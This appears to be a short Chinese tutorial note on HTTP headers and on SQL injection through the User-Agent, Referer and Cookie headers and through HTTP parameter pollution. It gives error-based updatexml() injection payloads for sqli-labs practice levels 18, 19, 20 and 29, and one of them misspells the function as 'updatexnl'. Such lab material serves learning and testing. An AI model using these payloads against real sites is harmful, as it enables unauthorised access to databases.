HTTP基础:

Accept:浏览器能够处理的内容类型
Accept-Charset:浏览器能够显示的字符集
Accept-Encoding:浏览器能够处理的压缩编码
Accept-Language:浏览器当前设置的语言
Connection:浏览器与服务器之间的连接类型
cookie:当前页面设置的任何cookie
Host: 发出请求的页面所在的域
Referer:发出请求的页面的URL
User-Agent:浏览器的用户代理字符串
Server:WEB服务器表明自己是什么软件及版本信息。例如:server Apache/2.0.61(Unix)

HTTP头部注入

HTTP头注入是指从HTTP头中获取数据,而未对获取到的数据进行过滤,从而产生的注入。 HTTP头注入常发生在程序采集用户信息的模块中。例如:

1、X-Forwarded-For/client-IP
2、User-Agent
3、Referer
4、Cookie

cookie注入:COOKIE型注入是通过COOKIE进行数据提交的,其常见的情况有验证登陆、$_REQUEST获取参数。验证登陆是将用户的登陆信息放入COOKIE中来做权限验证的一种方法。

User-Agent头注入

与注册登录再注入类似,在登陆后insert语句带入查询,产生注入。构造的payload可以基于多种注入,下面以updatexml()报错为例

sqlilabs靶场第18关

' and updatexnl(1,concat(0x23,database(),0x23),1) and '

Referer头注入

与UA头注入类似

sqlilabs靶场第19关

' and updatexml(1,concat(0x23,database(),0x23),1) or '#

Cookie注入

sqlilabs靶场第20关

' and updatexml(1,concat(0x23,database(),0x23),1)#

HTTP参数污染攻击

在GET和POST的HTTP请求中,经常会出现多个参数的情况。在多个参数相同的情况下,HTTP后端可能有不同的处理方式:

数据库后台数据:

sqlilabs靶场第29关

/sqlilabs/Less-29/?id=1&id=3

构造攻击语句

/sqlilabs/Less-29/?id=1&id=3' and updatexml(1,concat(0x23,database(),0x23),1)--+